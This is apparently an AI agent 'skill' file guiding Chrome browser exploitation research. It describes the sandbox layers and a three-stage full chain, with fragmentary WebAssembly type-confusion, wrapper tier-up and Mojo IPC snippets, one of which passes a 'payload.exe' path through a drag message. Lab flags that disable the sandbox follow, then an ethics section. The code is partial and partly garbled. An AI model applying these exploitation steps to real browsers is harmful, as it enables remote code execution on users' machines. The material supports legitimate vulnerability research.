Hacktricks-skills chrome-exploitation-research
Guide for Chrome browser exploitation research and full-chain vulnerability analysis. Use this skill when researching Chrome security, analyzing browser vulnerabilities, developing proof-of-concepts for CVEs, or understanding Chrome's multi-layered sandbox architecture. Trigger this skill for any Chrome exploitation questions, V8 sandbox escape techniques, Mojo IPC abuse, WebAssembly JIT bugs, or when setting up Chrome debugging environments for security research.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/chrome-exploiting/SKILL.MDChrome Exploitation Research Guide
A practical guide for security researchers analyzing Chrome browser vulnerabilities and developing full-chain exploitation techniques.
When to Use This Skill
Use this skill when you need to:
- Understand Chrome's multi-process sandbox architecture
- Analyze or develop exploits for Chrome vulnerabilities
- Research V8 sandbox escape techniques
- Investigate Mojo IPC interface weaknesses
- Set up Chrome debugging environments for security research
- Study WebAssembly JIT compilation bugs
- Chain multiple vulnerabilities for full exploitation
Chrome Architecture Overview
Chrome uses a layered defense-in-depth model with three main sandbox boundaries:
Process Layout
+-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+
Three Sandbox Boundaries
- V8 Sandbox (Isolate): Memory permissions restricted for JITed JS/Wasm
- Renderer Sandbox: No native filesystem/network access, isolated via Mojo/IPC
- OS Sandbox: Platform-specific containment (Windows Integrity Levels, seccomp-bpf, macOS sandbox profiles)
Full-Chain Exploitation Methodology
A remote attacker typically needs three successive primitives:
Stage 1: V8 Heap Corruption
Goal: Achieve arbitrary read/write within V8 heap
Common Vectors:
- WebAssembly type confusion bugs
- JavaScript engine optimization flaws
- Memory corruption in V8 internals
Example: WebAssembly Type Confusion
(module (type $t0 (func (param externref) (result externref))) (func $f (param $p externref) (result externref) (local $l externref) block $exit loop $loop local.get $p ;; value with real ref-type ;; compiler incorrectly re-uses it as int64 in the same block br_if $exit ;; exit condition keeps us single-block br $loop end end) (export "f" (func $f)))
JavaScript Trigger:
const wasmMod = new WebAssembly.Module(bytes); const wasmInst = new WebAssembly.Instance(wasmMod); const f = wasmInst.exports.f; // Warm-up for JIT optimization for (let i = 0; i < 1e5; ++i) f({}); // Create primitives let victim = {m: 13.37}; let fake = arbitrary_data_backed_typedarray; let addrVict = addrOf(victim);
Outcome: Arbitrary read/write (AAR/AAW) within V8 heap
Stage 2: V8 Sandbox Escape
Goal: Escape from V8 sandbox to full renderer memory access
Common Vectors:
- Tier-up compilation wrapper bugs
- Signature mismatch in JS↔Wasm wrappers
- Object corruption during re-optimization
Example: Wrapper Mismatch Exploitation
function wrapperGen(arg) { return f(arg); } // Force tier-up compilation (internals-only flag) %WasmTierUpFunction(f); wrapperGen(0x1337n);
Key Steps:
- Get function into Tier-Up state by alternating turbofan/baseline code
- Trigger tier-up while keeping a reference on the stack
- Use Stage-1 AAR/AAW to find and corrupt adjacent objects
- Overwrite trusted object fields (e.g., Tuple2) to gain renderer R/W
Outcome: Full read/write primitive on renderer process memory
Stage 3: OS Sandbox Escape
Goal: Execute code outside Chrome's OS sandbox
Common Vectors:
- Mojo IPC interface logic flaws
- Privileged interface parameter validation bugs
- File system access through IPC
Example: Mojo IPC Abuse
const payloadPath = "C:\\Users\\Public\\payload.exe"; chrome.webview.postMessage({ type: "DragStart", data: { title: "MyFile", file_path: payloadPath, mime_type: "application/x-msdownload" } });
Key Insight: Logic-level weaknesses in privileged Mojo IPC interfaces often require no additional memory corruption
Outcome: Remote Code Execution (RCE) with user privileges
Lab Setup for Research
Prerequisites
# Install HTTP server for serving PoCs npm i -g http-server # Clone exploit development repository git clone https://github.com/Petitoto/chromium-exploit-dev cd chromium-exploit-dev # Start local server http-server -p 8000 -c -1
Chrome Debug Flags
Launch development Chrome with these flags for research:
# Windows chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax" # Linux ./chrome --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax" # macOS ./Google\ Chrome.app/Contents/MacOS/Google\ Chrome --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
Windows Kernel Debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" \ -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Research Workflow
1. Vulnerability Analysis
- Identify the affected component (V8, Mojo, renderer, etc.)
- Determine which sandbox boundary is targeted
- Map the exploitation chain required
2. PoC Development
- Create minimal reproduction case
- Test on development Chrome builds
- Verify reliability and stability
3. Chain Construction
- Combine primitives in correct order
- Handle timing and state dependencies
- Test across different Chrome versions
4. Validation
- Confirm each stage works independently
- Verify full chain execution
- Document version compatibility
Safety and Ethics
⚠️ Critical Guidelines:
- Legal Authorization: Only test on systems you own or have explicit written permission to test
- Research Purpose: Use these techniques for legitimate security research, vulnerability disclosure, or defensive tool development
- Responsible Disclosure: Follow responsible disclosure practices when finding vulnerabilities
- Environment Isolation: Always test in isolated, controlled environments
- Documentation: Maintain detailed records of research for reproducibility and disclosure
Common Pitfalls
- Timing Issues: JIT optimization timing can be non-deterministic
- Version Specificity: Exploits often break across Chrome versions
- ASLR/CFG: Modern mitigations may require additional bypasses
- Sandbox Variations: OS sandbox behavior differs across platforms
Resources
- 101 Chrome Exploitation Series
- Chromium Security Architecture
- V8 Internals Documentation
- Mojo IPC Documentation
Next Steps
After understanding the methodology:
- Set up your research environment using the lab setup guide
- Study existing PoCs for similar vulnerabilities
- Practice with development Chrome builds
- Document your findings systematically
- Consider responsible disclosure for any discovered vulnerabilities